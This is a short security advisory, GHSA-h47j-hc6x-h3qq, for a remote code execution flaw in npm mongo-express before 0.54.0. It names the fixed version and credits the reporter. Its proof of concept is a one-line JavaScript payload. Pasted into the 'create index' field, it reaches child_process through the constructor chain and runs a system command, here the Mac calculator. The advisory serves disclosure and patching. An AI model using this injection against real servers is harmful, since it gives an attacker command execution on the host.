GHSA-h47j-hc6x-h3qq Remote Code Execution Vulnerability in NPM mongo-express

• npm mongo-express: < 0.54.0 → fixed in 0.54.0

Impact Remote code execution on the host machine by any authenticated user. Proof Of Concept Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator: ```javascript this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator') ``` Patches Users should upgrade to version `0.54.0` Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For more information If you have any questions or comments about this advisory: • Open an issue in example link to repo • Email us at example email address Thanks @JLLeitschuh for finding and reporting this vulnerability This vulnerability has been exploited in the wild.